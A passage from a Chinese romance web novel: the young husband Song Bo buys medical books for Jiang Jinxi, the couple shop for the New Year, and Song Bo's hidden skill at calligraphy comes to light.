他们不是来吃席,而是来聊天的,菜上了快一炷香的时间了,除了江金熙在动筷子,其他人都三三两两凑着在说笑。 宋泊可是花了二两银子,怎么着他也得把每道菜都尝一尝,回些本来才是。 眼见着江金熙一筷子一筷子夹着菜,有姑娘捂嘴与身旁的伙伴说着:“村里人就是没吃过好东西。” 江金熙也是不明白了,以往在京城的时候,从没见过这么多人针对他,怎么到了这偏远的县城里,每个人都跟炮仗一样,他什么事也没做就一把火点到了他们。 “是呐,咱们可不敢这么吃,等会儿胖了。”另个哥儿回道。 江金熙懒得与他们呛声,便自顾自着吃饭,虽说这席不是他们本意要来,但既然来都来了,他就不想生事,再给宋泊惹上些不必要的麻烦。 “他那夫君也可寒酸了。”姑娘说。 “他夫君谁呀?”哥儿问。 姑娘抬着下巴往主桌斜去,“哪个寒酸就是哪个咯。” 说到他,江金熙还能一只耳进一只耳出,说到宋泊,江金熙便忍不住了,他将筷子搁在筷架上,优雅地擦了下嘴巴,随后看向姑娘和哥儿那侧,说:“说别人寒酸,你自个儿不是也挺寒酸的?” “我寒酸?”姑娘笑了,“再怎么说我也穿着晋缎,你呢?这衣服料子我都没瞧过,不会是磨人皮肤的布衣吧?” “我看就是布衣呐。”哥儿接着话。 “晋缎?”江金熙听着直笑,“你连晋缎和原缎都分不清,还敢刁难别人?” 晋缎由晋鱼城生产,因着手工艺独特,每年匹数不过几十,故而是布料中的上乘,而原缎是没有经过加工的绸缎,面儿上素,没太大的工艺技巧才里头,所以算是布料中的下乘。 面儿前的这人一身原缎,竟然还说自己穿的晋缎。 他在京城时每年都能收到用晋缎做成的衣裳,晋缎长什么模样,他是在清楚不过了。 “你个村中野哥儿,你能懂?”姑娘说。 “晋缎有暗纹,从外头摸着能感受到纹路凸出,而从衣服内里摸着却是平滑一片,你这纹路内外都有,显然是缝上去的,你还在这里沾沾自喜呢?”江金熙看着姑娘,眼底没有一丝情感。 周围的哥儿和姑娘凑在一起讨论着,有个姑娘偶然见过一次晋缎,“是呀,晋缎两面是不同的,怎么” 正是因着晋缎外头有纹路而里头平滑不会磨着皮肤,在这般精细的绣工之下,晋缎的价格才会比其它布匹多上几十倍。 那姑娘不敢相信地掀起衣袖看了看内里,而后扭过头,朝着刚刚与她统一战线的哥儿说:“你唬我!” “是他们骗你。”那哥儿还在嘴硬。 “好啊,我当你是朋友你这么骗我。”那姑娘说。 这塑料情意就是这般容易破碎,姑娘和哥儿吵了起来,江金熙便重新拿起筷子吃饭。 他就说,晋缎的价格十分之高,京城里能用上的都没几个,在这偏县内怎会见着,原来是以次充好的冒牌货,本来那姑娘吹着牛他也不想理会,但这下直接撞着他的枪口上,就别怪他当场拆穿了。 许是姑娘觉着面上过不去,两人争着争着竟动起手来。 宋泊听着那边的动静,立即起了身,走至江金熙身旁。 这桌上的菜虽然已经失了热气,但被不小心泼在身上也是晦气事一件。 “你没被伤着吧?”宋泊问。 在两人爆发骂架的时候,江金熙就聪明地远离了战场,他双手环胸站在边儿侧,答:“没伤着我呢。” “这怎么忽而的就打了起来?”宋泊看着被人拉开了两人,两个本来光鲜亮丽的人儿因着扯头发、泼菜汁,两人都狼狈不已,脸上的妆也花了去,看着有些像戏台子里演发疯妃子的人。 “我也不知。”江金熙眨着眼儿,无辜地说。 虽说那两人打起来跟他多少有些关系,但要不是那哥儿骗人在先,他也抓不着这般把柄,不过这事也不必要与宋泊说道,他可不想在宋泊心底落下一个不好的印象。 这喜宴中出了这么个差错,确实有些将余县尉的面子丢在地上踩踏,余县尉黑着脸,让人把那两个闹事的很有礼貌地“请”了下去。 有两个中年男子陪着笑在余县尉旁边说着话,应当是那俩人的父亲,也是他们从小都被宠惯了来,才会不分场合地发泄自己的情绪。 再吃下去好像也失了味,余县尉就找了个体面的理由送客,能来参加喜宴的人多少都有些眼力见,见余县尉委婉地赶人,他们也知道余县尉有些私事要处理,便都没有久留,慢慢地散了。 宋泊和江金熙就是第一批走的人,坐在席上吃得不自在,还不如自个儿私底下找个小饭馆吃饭呢。 宋茶栽是宋申闻的长姐,肯定还有许多事儿需要她处理,短时间应当是不会出来的,因此两人就没有等宋茶栽,而是先找了个小饭馆先点了菜吃。 第45章 第四十五章志不在此。 秋去冬来,日子一下便到了春节前。 宋泊刚抄完一篇文章,正松松手时,就听着秦闻说今日是最后一天上工。 离着春节还有一周的时间,秦闻给大伙儿放了假,让大家有时间去采买过春节用得上的东西。 在百书阁抄了一月多,宋泊的字渐渐传了出去,来找他抄书的人不知不觉多了许多,排队都排到来年开春了。不过好在秦闻之前就说了要放假,所以宋泊与客人约定抄本的完成时限时,都多往后说了几日,如此便不必担心会有完成不了的抄本出现。 一说放假大伙儿都很高兴,没了心思在工作上,有的抄书先生歇了笔,与旁儿的同事聊了起来。 一会儿说着春节要买些什么装饰家中,一会儿又聊着要送家中妻孩什么礼物。 百书阁的薪资不低,春节又是一年当中最重要的日子,买些礼物回去送与妻孩也是理所应当。 宋泊抄着书,耳朵听着那边的交流,送东西要投人所好,他们商量着的礼物都是些寻常礼物,譬如花儿、衣服、糕点、胭脂之类的,江金熙也许也喜欢那些物什,可宋泊就是想给他淘几本医书。 入冬以后,田里的种子到了休眠期,江金熙便无需照看它们,进入冬闲时期。不必入地,江金熙就一心闷在医学之中,宋师傅给他的书他已倒背如流,不过还是依旧每日复习着,温故而知新。 家中卧房安的书架,到现在才放了寥寥几本医书,看着空寂,趁着这时正好能补上几本。 宋泊近水楼台先得月,下了工以后直接逛起百书阁,毕竟在这儿干了一个多月,什么书放在哪儿他知道个大概。 医书这种专业性极强的书他也看不大懂,不知道什么书好什么书差,什么书是基础书什么书是进阶书。 “家中有人学医?”秦闻站*于宋泊身侧,出声问道。 “内子对医学略有兴趣。”宋泊老实答着。 闻言秦闻从书架上挑了本医书给宋泊,“这本基础,应当适合你家夫郎。” 宋泊草草翻了几页,上头内容与他偶然瞥着江金熙手中医书的内容一模一样,这本医书是最基础的草药集,江金熙已经完全背过,不再需要这种基础书籍,他将书还与秦闻,“我夫郞已经学过这书,用不上了。” 秦闻接过书,问:“你写着一手好字又识文解字,没想着考个科举?”边说着话,秦闻边将医书往书架上放着。 宋泊在他这儿做了一个多月的活儿,因着他这儿常有读书人来买科举有关的书籍,所以抄书先生们或多或少都会了解些四书五经的内容,只是秦闻发现,比起其他抄书先生,宋泊是当真有钻研过那些书,随便一个与四书五经有关的问题,他都答得流利顺畅,并且还带着一些个自己的见解,是个不可多得的人才。 虽说他因着自己的原因辞了官从京城来到这个南方小镇开了间书店,但心底还是希望能有更多新鲜血液冲入京城,如此他才会将自己考科举时用过的书,写过的注解统亮出来。 “志不在此。”宋泊说。 简简单单四个字道尽无言。 宋泊不愿说,秦闻也没想着强问,毕竟人际交往中关系,需要合理的距离来维持。 “对了,秦老板。”宋泊想着林武玉的事儿问秦闻,他大抵猜着林武玉与江金熙父亲是一边儿的,但还需有人帮着确认,“林县令为何会被贬到咱们这儿来呀?” “你好奇?”秦闻说。 “近月来我听着林县令秉公执法判了案,还给百姓公道,这般好官京城难道不需要?”宋泊问。 自上次宋申闻的喜宴以后,宋泊便有意地打听林武玉的消息。 一个歹官若想装成好官,装着久了总是会露出一些狐狸尾巴,不过单以这一个多月传回来的消息来看,林武玉真是个为民执法的好官。 秦闻笑了一下,不过这笑没达眼底。 宋泊知道秦闻这笑不是对着他的,便放松着听他言来。 秦闻没说什么京城中的秘闻,只是以过来人的姿态点着宋泊,“墨点儿入水,你可有办法将墨取出来?” 这何来的办法,墨入水即交融,唯一的法子只能将整盆水一齐倒掉,宋泊答:“宋泊不才,实在无法。” “水可倒,有些东西却不可倒。”秦闻拍着宋泊的肩膀,“七窍玲珑心的人尚且做不到倾盆,更何况老林是颗轴心呢。” “宋泊懂了。” 京中的事儿不好议论,秦闻也只能用这般隐晦的方式提点两句,还好宋泊也是个聪明人,从秦闻的三言两语中就猜出了大概。 京城中有官之人众多,清官有污官也有,这墨水滴入水中,搅着环境也变差了去,再加上有人煽风点火恶意找茬,林武玉这般宁折不弯的青竹只能从京城移栽到远离是非的偏远小镇。 这般结果对林武玉来说未尝是个不好,毕竟离权利中心远了,他们手也深不着这么长,办案判决起来自是要自如一些。 如此宋泊便想找个机会,与林武玉说说江金熙的事儿,看看他有没有法子,在越过对头那些人的眼线之下,将消息送到京城之中。 秦闻从书架上又拿了几本医书下来,“你瞧瞧,这几本比刚刚那本难不少。” “多谢秦老板。”宋泊答。 “无妨。” 宋泊最终买下了两本医书,因着他在百书阁里做工,前头收银的人便给他打了折扣,两本书买下来花了他五两银子。 这钱对寻常百姓来说极多,但对宋泊来说还算可以接受。 这一个多月他拿着死薪资又赚着活分成,现在身上已有十两白银,花去一半给江金熙换知识,值当! 买了书以后宋泊又去集市中买了些小孩喜欢的玩意儿,随后到了李五家。 正巧阿篮这时候收摊回来,两人在门口碰着。 “宋弟。”阿篮唤着。 “嫂子。”宋泊应声,他见阿篮的豆腐车上挂了个写着“金囝豆腐”布条,问道:“怎么想着挂上布条了?” 之前宋泊注意着阿篮的车上除了豆腐再无其它,问过这个问题,那时的阿篮说整招牌太麻烦了,口头吆喝比较轻松。 阿篮的眼中闪过一抹不自然,她道:“这不是找了个好彩头的名儿,金囝豆腐,谁看了不得来我这儿买上一块,你说是吧,哈哈。” 宋泊敏锐地抓着阿篮的眼神,这里头肯定有他不知道的事情。 不过宋泊也没打算问,这招牌确实是喜庆,家中有孩子的人看着这招牌应当都会为了讨个好彩头来这儿买上一块。 “你来找李五?”阿篮把豆腐车放着,推开家中院门。 “是呐。”宋泊帮着阿篮的忙,将豆腐车挪进院子中。 院子本就不大,一个磨盘再加上这豆腐车,人过都得横着走了。 “宋叔叔!”李会书老早听着宋泊的声儿,就等在房门口,一见着宋泊就扑了上来,抱着宋泊的腰。 “没礼貌!”阿篮大步上前,拧着李会书胳膊上的肉,疼得李会书叫喊着松了手。 “没事的嫂子。”宋泊说,孩子就是得这般有朝气才对。 “那哪儿成!没大没小!”在阿篮的思想中,宋泊不仅是李会书的叔叔,更是李会书的老师,谁家学生敢这样抱老师,那不得挨手板了。 “娘就是古板。”李会书嘟着嘴,小声地抱怨了句。 趁着这个时间,宋泊将自己准备的礼拿了出来,交到阿篮的手中。 “你这是做什么?”阿篮连连摆手,甚至将双手捏着背到身后,“来就好了,还带礼物作甚。” “这点儿小礼只是带个喜气。”宋泊说,“我还怕你嫌穷酸不乐意收呢。” 李会书机灵地接过宋泊手里的东西,说:“宋叔叔带来的喜气哪儿有不收的道理,我替我娘收啦!” “你个小兔崽子。”阿篮追着李会书就要将礼拿回来,李会书两只小脚倒腾地飞快,两人吵吵闹闹地在院中你追我赶。 “宋弟,你怎的来了?”李五刚下工回来,远远听着家中吵闹便加快步伐回来,见门内站着宋泊,他也是觉着惊喜。 “我就是过来串串门儿,顺便看下会书的功课。”宋泊转过身来与李五说着,“马上过春节了,家中事忙,下次得年后才能来了。” 自从宋泊在百书阁当抄书先生以来,因着下工时间提早了,他便经常寻着一些时间过来,用些碎片时间看看李会书的功课,这一来一回来得频繁,李会书的学业进步飞快。 “以你事要紧。”李五说:“早就说你不必常来,两月、三月来过一次就行,现在你这一周来两、三次,这臭小子都占了你的时间了。” “他若是能成才,我也有面儿,当然要上心些。”宋泊笑着说。 李五忽而想起自己带了东西回来,他从怀中拿出一罐漂亮的瓷罐,塞进宋泊手中。 “这是何物?”宋泊问。 “东家给的过年礼儿,一共两罐,阿篮一罐,弟夫郞一罐,正正好。”李五说。 宋泊开了盖儿一闻,罐中装着类似润肤膏的东西,带着一股淡淡的花香。 冬日最是容易皮肤干燥,宋泊念着自己粗心没给江金熙买些护肤的东西,这下正好带回去,便也未推脱,收了下来,“谢谢李兄。” 见宋泊收了瓷罐,李五乐呵呵道:“一家人不说两家话。” 第46章 第四十六章礼物。 在传福镇里一耽搁,宋泊回到家中的时候,夜色已晚。 家中未点灯,江金熙还未回到家中。 冬闲以后,江金熙天天泡在宋茶栽家中,跟着宋茶栽看诊写药单,有些个简单的病儿,宋茶栽甚至还会让他上手试试诊断。 有着实践作为经验,江金熙已经能独自看些咳嗽流涕的小病。 宋泊将医书搁在江金熙的书桌之上,用一张白纸盖着,做了个不算掩饰的掩饰,接着他便提上了灯笼,去宋茶栽家接人。 远远的,宋泊就听着宋茶栽家中有些吵闹,他走进院子,把灯笼熄灭放在院子门边,长腿跨着往房内走去。 一个哥儿正拉着江金熙的手,不断说着感谢的话。 江金熙有些局促,他不适应别人这般对他,一直想把手从那人的手中择出来。 “多谢江大夫开的药,我家大宝吃了以后身子就不热了,可算救回来一条命。”哥儿边说边抹泪,当真是声泪俱下。 宋泊走到江金熙身旁,帮他拂下哥儿的手,他不好拒绝那便由他来当那个恶人。 哥儿看清来人,他想着之前的传闻,心底有点发怵,再三谢过江金熙,并且把谢礼放在桌上以后,他跟脚底抹了油一般,一下就不见人影了。 “想不到你还有这般用处。”江金熙笑着说道,刚刚那人实在是热情过了头,可人家毕竟是来谢他的,他也不好拂了人家的面子,就只能强撑着笑容应着,有些疲于应对,还好宋泊来得及时,不然他不知道他还要被那位哥儿拉着拉多久。 “村中的凶神恶煞,我排第二没人敢称第一。”宋泊插着腰说道。 “你还挺自豪。”江金熙拍了下宋泊的胳膊,弯到药柜前头包药。 “大姑呢?”宋泊问。 “大姑出诊去了,我得帮忙看着。”江金熙手中灵巧,明明包药已经得心应手,但他还是得认真的盯着,生怕愈馆中事发生在他手下,“你坐会儿,等大姑回来咱们再回家。” “无妨,我也不急。”宋泊帮着收拾厅内,再过几月他赚了钱,想给宋茶栽修个专门看诊的地方,这看诊占了厅儿,接待客人不方便,看诊病人也不方便,还不如专门修个出来,还正厅它本来的作用。 收拾得差不多,江金熙也包完了药,他与宋泊坐与一块儿,宋泊拿出李五送他的脂膏。 江金熙掀开盖儿,轻轻一嗅,“这是脂膏?”手中拿着这物,江金熙才发觉自己已经很久没有用过胭脂粉黛了,他念着宋泊赚钱不易,那些物什也不是非用不可,便没想着买,一开始有些不习惯,而后久了就忘了。 哥儿天生爱美,更何况江金熙还是美人中的美人,虽然这美貌给他惹了不少麻烦,但他还是感谢上天能赐予他这副容颜,故而在面儿上他也是常下功夫。 “李五给的。”宋泊说,他怕江金熙用不惯小镇里的东西,补上一句,“我也不知这东西好是不好,你若用不惯来,丢了也成。” 江金熙挑眉,一手撑着下巴,风情翩翩地瞧着宋泊,“丢了你给我买更好的?” 这是美人计! 宋泊心底儿门清,嘴却不受使唤,“自然会买更好的给你。” “几十两一罐也成?” “成!”不过几十两,他多抄几十本书就赚来了。 江金熙笑了,他抬手捂着嘴,眉眼弯弯跟着月牙儿一般,看着喜人,“你可别成了周幽王。”语罢他把瓷瓶握在手中,“这脂膏已然不错,我很喜欢。” “诶对了!”江金熙又将瓷瓶打开来细细观察,“等我们的草药长了起来,我们也能做这些脂膏去卖呢!”江金熙挖起绿豆粒大小的脂膏摸在手背上,脂膏触肤即滑,起到很好的保湿作用,“他们混花儿我们就混草药,独一份儿才好卖。” 宋泊有些不解,难道京中的哥儿都这般有商业头脑?不过带回来一个礼儿,也能延伸到其他的产业链? 宋泊不知,江金熙本不关注这些,只是因着心疼宋泊一人赚钱辛苦,才变着法儿地想帮宋泊分担一些。 自接诊以来,宋茶栽会分他一些诊金,不过都是给村中人看病,诊金不好收太高,一月下来也才赚着二百钱,实在是不够看的,所以得想更多的赚钱法子。 过了半个时辰宋茶栽才回来,宋泊问,“可还顺利?” “还成,来接金熙了。”宋泊把诊盒往桌上一撂,看着桌上的几个土鸡蛋和腌白菜,说:“有人来送礼了?” “这是给金熙的谢礼,你可不能拢了去。”宋泊装着小心眼,把鸡蛋全部拢在怀里。 “嘿!”宋茶栽来劲了,右手一个利索,从宋泊怀中掏了颗蛋出来。 看着两人跟小孩一样逗着,江金熙也是觉着有味儿。 闹了一会儿,宋泊歇了劲,准备带江金熙回家。 宋茶栽知道他自今日便放了假,就交待着,“过两日去镇里买些年货回来,记着春联也买几副。” 南方的冬冻人得紧,虽不下雪,但因着湿气高,就算穿着棉服也容易被寒气趁虚而入。 宋泊拿过门口架子上的挂着的围脖,紧紧围在江金熙的脖子上。 “我自己来就好了。”江金熙抬着手,指尖不小心碰着宋泊的手臂,凉得如冰块一般。就算他整日抱着宋泊准备的手炉,这一离了手炉手就容易凉。 “你看不着,等会寒风漏进去了。”宋泊眼神认真,手上的动作也十分仔细,“马上过节,可得爱护着身子。” “嗯。”江金熙双眼亮晶晶,围脖把江金熙脸颊上的肉推了上去,两颊鼓鼓的可爱非常。 确定一丝寒风也不会从江金熙的脖子顺衣而下,宋泊转身与宋茶栽说道:“大姑,我们走了。” 宋茶栽看着两人的互动,心底正甜着,闻声应道:“走吧,路上滑,记得扶着点金熙。” “我知的。”宋泊说。 江金熙小步跑到药柜前拿起自己的手炉,小心抱在怀中,乖巧地跟宋茶栽点了下头,跑着跟到宋泊身后。 回了家,江金熙把围脖放在卧房门口的架子上,这冬日的衣服都很厚实,所以宋泊特意买了个衣架子放于门口。 江金熙先把怀里的脂膏放进床头柜里,而后抱着手炉坐到书桌前,过节肯定得买很多东西,不早些写下来,到时进了镇里临时想,或许会有忘了的东西。 江金熙把手炉放至一旁,奇怪地瞧着书桌上的东西,难道他出去的时候拿纸盖住了什么?江金熙思索着,拿开纸张,露出下面的医书,下面放着两本医书,都是他没看过的书。 谁会把书放在这儿,不言而喻。 江金熙心底升起感动,他一时按捺不住心情,放下医书跑到宋泊面前。 宋泊正铺着白日晾晒的被单,听着身后脚步声,他转过身,迎面被江金熙扑入怀中。 江金熙没有喷香水,但身上就是有股闻着舒适的香味。 “怎么了?”宋泊拢在江金熙身后的手不敢收紧,即便他现在心跳如雷,但该有的礼节他还是会遵守,毕竟他们不是真的夫夫。 “那两本医书,是你送我的吧!”江金熙抬起头,眸中星辰亮如宋泊的眼中。 “你看到了。”宋泊答。 “我非常喜欢!”江金熙紧紧抱着宋泊,“你为什么对我这么好。” “这算什么好。”宋泊垂眸,“不过两本医书。” “这已经很好了!”江金熙说着。送礼最需要的是投其所好,那两本医书当真是送进了他的心坎。京城里不少想要讨好他的人,根本不在乎他喜欢什么,他们只送他们觉着哥儿喜欢的东西,不是花儿就是胭脂,香得他时常打喷嚏,被他统统丢了去。 “喜欢往后我再给你多买些。”宋泊说。 没想到小小两本医书就能让江金熙高兴地又蹦又跳,宋泊现在只想冲回百书阁,不管身上有没有银两,先把医书薅回来再说。 “那也不必。”江金熙还存着理智,一本书不便宜,宋泊现在的薪资不高,没必要一直买书回来,更何况一本书要专研透彻,也得时间,这两本进阶版的医书,足以他研学许久。 “都依你的,你说买,我就给你买。”宋泊宠溺着说。 “嗯!”江金熙猛得点头,在脸蹭着宋泊衣领布料的时候,他的热血渐渐褪去,冷静下来发现自己竟抱着宋泊,他赶忙松了手,脸色爆红,“我、我去看看那两本书。”语罢江金熙逃离现场,坐回书桌前。 他两手托着脸颊,脸颊温度极高,都跟手炉的热度一样了。 可是宋泊却没什么明显的反应,江金熙心想。听着宋泊重新铺被单,他悄悄地伸头看去,两只眼睛从屏风边儿偷偷看着,宋泊背对着他抖着被单,动作看起来很正常,不过将被单掖进床脚的时候,却一直对不准位儿,一个床脚掖了两三下才掖进去。 江金熙缩回了脑袋,还好,宋泊并不是如他面上表现的那般,淡然如水。 第47章 第四十七章暴露。 翌日,阳光明媚,是个适合出门采购的日子。 宋泊与江金熙早早吃了早饭,拿上江金熙昨日写的采购单子,上了传福镇。 距离春节还有六日,街上张灯结彩,不少店铺安上灯笼,街上跑着闹着的孩童都穿着红色新衣,整个镇上热闹极了。 宋泊在现代生活了二十几年,记忆中只有小时候的春节会热闹些,现在难得以身参与古代的春节,发现这些个传统节日还是古代的味儿重些。 “我们先去厨具店儿瞧瞧。”江金熙说。 昨儿个宋泊说春节想吃古董羹,那便得去买相应的厨具来做。 “好啊。”宋泊应声。 许久未吃火锅,趁着春节正好搞个火锅吃吃,既热了氛围,还能暖了身子,岂不乐哉。 厨具店内儿人挤人,新年新气象,家中有些闲钱的富贵人家每年春节都会换上新的东西,碗筷勺自然也在其中。 江金熙耸着肩,拉着宋泊挤进人群之中,过年吃古董羹的家庭不少,这炉子得趁早儿买。 江金熙真是被村里生活锻炼了出来,文雅之中带着股乡土气,一边儿说着“让让谢谢”,一边儿卯足了劲儿往炉儿边挤去,倒让宋泊这副高大身躯无了用武之地。 终于挤到炉边儿,用来做古董羹的炉子摆在台子上,什么材质的都有,既有陶质又有铜质,根据材质价格高低不一,符合各类家庭的需求。 江金熙拿起一个陶瓷炉儿在手里掂量着,随后又看看铜制炉儿,铜制炉子比较耐用,买一个可以吃很多次古董羹,只是价格上会比陶瓷炉子贵上不少。 江金熙一时拿不定主意,他转头看向宋泊,询问他的意见。 问过价格以后,宋泊觉着还是买铜制的为好,陶瓷炉一个一两,铜炉只是多贵了一两。 两人都不纠结,拿上个铜炉,又抓了几副新的碗筷,两人撤出厨具店。 里头人太多,空气都闷了不少。 宋泊拎着东西,江金熙走在他的前头,买了厨具,接下来就该买些装饰家里的东西。 这铜炉实在重,正好路上途径喜春楼,宋泊便想着先把东西暂时寄放在他那儿。 喜春楼上挂着了灯笼,因着是大早上,那些灯笼并未点燃,但只是挂着红艳艳的灯笼在外头,就已经增添了不少喜气。 宋泊与江金熙走入店内,现在这个时儿既不是饭点又不是夜生活中的时间点,店内没什么客人在,张福财坐在前台,手撑着下巴打盹儿。 宋泊也未打搅他,只让店小二帮着把东西拿去暂放,店小二都认识宋泊,就没拒绝这个请求,帮着把东西收好了来。 江金熙又看着挂在厅内正中的那副书法,搞笑的是张福财为了迎合春节,在书法作品旁边放了两朵大红花,这就像一个俊朗的翩翩公子,身上穿着件喜气洋洋的大红袍儿,不是说这样不行,只是带着反差感有些逗人。 “放好啦?”见宋泊走进,江金熙道。 “放好了,咱们走吧。”宋泊道。 这次出来采买最重要的任务就是给宋茶栽**联。 宋泊没与江金熙说他在百书阁当抄书先生,便也不好带他去百书阁买,那儿的熟人太多,绝对会暴露他会写字并且还写得不错的事儿。 还好镇子内卖春联的店儿很多,每条街都有一家,不过虽然卖春联的店铺多,但春联质量高低不一,还是需要货比三家。 看过五家以后,江金熙决定买第三家的春联,矮个子中拔高个,那春联上的字比不上喜春楼里他喜欢的那副书法,却也达到了一半的水平。 会写字且写得好的人不多,一副春联的价儿自然就飙了上去,宋茶栽家里两副,自己家中一副,又花去二两银子。 春节当真是画大钱的时候,随便买了几个东西,就花去了他四两银子,好在大头全都花了去,剩下的只是一些小钱,不然宋泊还真要久违的体验一下囊中羞涩的感觉。 这般挑挑选选,早晨的时间过去,到了午时初,刚好在喜春楼吃上一顿午饭再拿上东西返程,时间安排得刚刚好。 午时店内客人多了些,张福财便没有闲工夫招待他们。 宋泊顺手将春联放在桌上,招来店小二点菜。 趁着菜品还未上桌,宋泊走到茅厕前装有清水的木桶边,想洗个手,张福财跟一直盯着他一样,摸了过来,“宋公子。” 宋泊吓着一激灵,洗手的动作都偏了几分,“吓我一跳。” “等会儿能不能帮我个忙儿?”张福财搓着手,谄媚道。 宋泊都习惯了张福财说话的语气,他这般说话,一般就是要他写字。 宋泊擦净手,“你说。” 果然如宋泊所料,张福财就是要他写字。 “什么价?”宋泊问。虽然他与张福财有了一定的交情,但亲兄弟还得明算账,不过这账儿,宋泊能给他打上一个友情的折扣。 “春联挂不了太久,十两可否?”张福财说。 春联确实是个时效性很强的物件,过了春便没人再挂春联,他与江金熙在外头买了三副花了二两银子,张福财提出十两已经很给面子了。 “成。”宋泊答。 “我在上次那间房间等你,你只管来就是。”张福财说。 “好。” 回了喜春楼的厅儿,菜摆了上来,江金熙没有动筷子,只等着宋泊来了一块儿吃。 吃到半中间,宋泊说:“我得去趟茅厕,肚子有点儿不舒服。” “那儿不舒服?”江金熙挪了位坐过来,“我帮你摸下脉。” 那哪儿成,摸脉不就暴露了。 宋泊把手收了起来,说:“不用,我方便一下就好了。” 江金熙蹙了下眉,“那你去吧,还有不舒服与我说。” “嗯。” 宋泊偷瞄着江金熙,在江金熙没往他这儿瞧的时候,迅步上了二楼。 宋泊走后,江金熙也放下了筷子,他有些担心宋泊的身体,正想着要不要去茅厕问问的时候,就听着有人与他打招呼。 “江夫郞,你也来吃饭呢?” 江金熙顺声看去,是之前宋泊给他搬过货的船老板,他应道:“船老板。” 船老板身旁还跟着几个男子,应当是朋友聚会来着,他让那些朋友先去位子上坐着,他与江金熙闲聊,“近日可好啊?” “近日还不错,船老板你呢?” 说起这事儿船老板脸上的喜色难掩不住,他弟中了以后,今年肯定是他们过得最好的年,“好得很,对了,宋泊呢?” “他去茅厕方便了。”江金熙答。 船老板瞅着桌上放着的春联,他随便拿起一副瞧着,说:“这看着不像是宋泊的字呢?”虽然他只在那次比试时看过宋泊的字,但宋泊字的特征实在太强,见过一次就不容易忘记,船老板不识字也不懂字,却也能分辨出来这春联上的字比不得宋泊的字。 ? 江金熙怀疑自己耳朵出了问题。 “船老板你刚刚说什么,周围太吵了我没有听清楚。”江金熙说,他们正坐在大厅内,周围不少客人来来去去,用这个理由再听一次也是妥当。 船老板又拿起另外一副春联,两相对比着,发现这些春联都出自一个人之手,“我说这些春联肯定不是宋泊写的吧?”有了另一副春联一块儿对比,船老板坚信了自己的判断,说起话来都自信了不少。 “你说宋泊会写字?”江金熙再问。 “是呐,写得还不错哩!”船老板说着,还把宋泊在喜春楼赢了秦令的事儿也顺道说了出来。 他说宋泊怎么忽然有了钱,还说是正规途径来的,原来竟是宋泊写字赢钱得来的。 “嘿!等你点菜呢!”那边儿朋友喊着船老板,船老板便先回了位儿,说等宋泊坐回来了,他再过来坐会儿。 江金熙说不清自己是什么心情,自己喜欢的人真如自己所想是个金子,可他却觉着喜忧参半。 宋泊在他面前一直装着文盲的样儿,会写字却瞒着他、瞒着大姑,这背后定然有沉痛的事儿发生过,这也是江金熙觉着忧的地方。 读书人在这个时代可是人人喜爱的香饽饽,不知道宋泊究竟受了怎样的打击,才会放弃读书写字,淹没乡村之中。 有了船老板这条引线,好像生活中的蛛丝马迹都清晰了起来,宋泊的说话谈吐确实不似普通村夫,他又想起那日张福财结结巴巴地说话,眼神不自觉地又飘向厅中挂着的那副书法,船老板说宋泊的字极好看,不知与这副比起来,谁好谁差呢。 现在想来,院里布席那天,李五说的状元宴或许不是李会书的,而是宋泊的。 江金熙忽然觉着自己正站于一个十字路口之中,一方面他想看看宋泊的字,想听听宋泊的学识,一方面又怕自己问起这事儿勾起宋泊的伤心事。 算了,暂且走一步算一步,如果宋泊愿意重拾读书他自然支持,毕竟宋泊如果入了官场,定然是个为民伸张正义的高官,可如果宋泊真的死了心再也不读书,只想淹没在镇村之间,他也愿意,反正无论如何,他总会陪着宋泊,无论是读书还是种地,他都相陪。 第48章 第四十八章我确实会写字。 宋泊“方便”的时间也不长,不过半炷香时间就回到了桌上,江金熙自他回来以后就一直盯着他瞧,搞得宋泊觉着自己脸上沾了东西,他摸着脸问着:“我脸上沾东西了?” “没有。”江金熙答。 “那你为何一直看我?”宋泊问。 “瞧你好看。”江金熙答。 抄书以后宋泊养了一个半月,本来晒着古铜色的肤色慢慢变了白,有了几分读书人的样儿,再加上他每日早晨都会捯饬自己,与周遭留着络腮胡子的人一比,清秀许多,确实称得上“好看”两字。 不过宋泊不大相信这个说法,他总觉着江金熙瞒着他,他又用双手摸了摸脸,确定脸上确实没沾上什么摸得着的东西,便想着去跟张福财讨个镜子照照。 刚从位子上站起来,就一只手揽上他的肩膀,可是吓了他一跳。 船老板从身后揽住宋泊的肩膀,雄厚的声音自他耳边响起,“宋老弟!” 宋泊心底忽的咯噔一下,知他会识字写字的人,船老板也在内。真是百密一疏,他交代了却所有人唯独忘了船老板。不会这么巧,刚好船老板就与江金熙说了他会识字写字的事吧? 宋泊悄摸地瞄了眼江金熙,江金熙似有所觉,也看了回来,宋泊赶紧挪开眼,看着江金熙的面色,他心底想放入一个小鼓,两个鼓槌不断敲着鼓面,咚咚的响。 “你怎的买了这等春联,不自己写呢?”船老板的话直接击碎了宋泊心底最后的侥幸,得,江金熙定是知道了他会写字这事,心底正生气呢。 若是他知晓江金熙一直有事瞒着他,虽说称不上生气,但心里不舒服肯定是有的。 宋泊扯着笑,从后槽牙挤出几个字,“是呢,回去就自己写。” “就是呐,有那般手艺不自个儿写,还给别人赚了那钱。”船老板人壮心思粗,根本没听出宋泊话里的咬牙切齿,他乐呵呵地拍着宋泊的肩膀,“要不是我家春联由我小弟包了去,我总得抓着你帮我写上几副。” 宋泊把船老板的粗手从自个儿肩上拿了下来,他笑不及眼底,“船老板今日好兴致,请了客人来?” “是呐。”船老板道,“这不老久未见着你,难得遇上就过来聊个几句。” “近来可好?”宋*泊问。 “好得很!”船老板面红气色好,当真是过着好日子,连带着肚子又圆润了些许。 船老板这一聊就起了劲儿,坐在宋泊和江金熙这桌子许久,久到那些客人都出声催了,船老板才草草地与宋泊说上几句,从他们位儿拿来一杯酒一口喝下后,回了座儿重新陪客人。 船老板走后,宋泊两手放在膝盖上,眼睛时不时往江金熙那儿瞟,心虚不言而喻。 偏生江金熙面上正常,拿着筷子夹菜吃着,见宋泊不动筷子,还问他怎么不吃饭。 宋泊哪儿敢吃呐,江金熙这般不言不语比出言发火还吓人,他不想像个青蛙一样放在锅里用温水煮着,便心一横,跟做错事的小孩一般垂下头,道:“我错了。” “错什么呢?”江金熙夹了个菜放入宋泊的碗里,怕他觉着自己说反话,他还补上一句,“你不愿意说,我也能当做不知情,谁没藏个三两秘密,我能理解。”之前他还愁怎么与宋泊提起这事,现在有船老板替他开了口,他还真得谢谢船老板,帮他解决了一个大问题。 “我确会写字。”宋泊承认,“但没船老板吹嘘得那般好。” 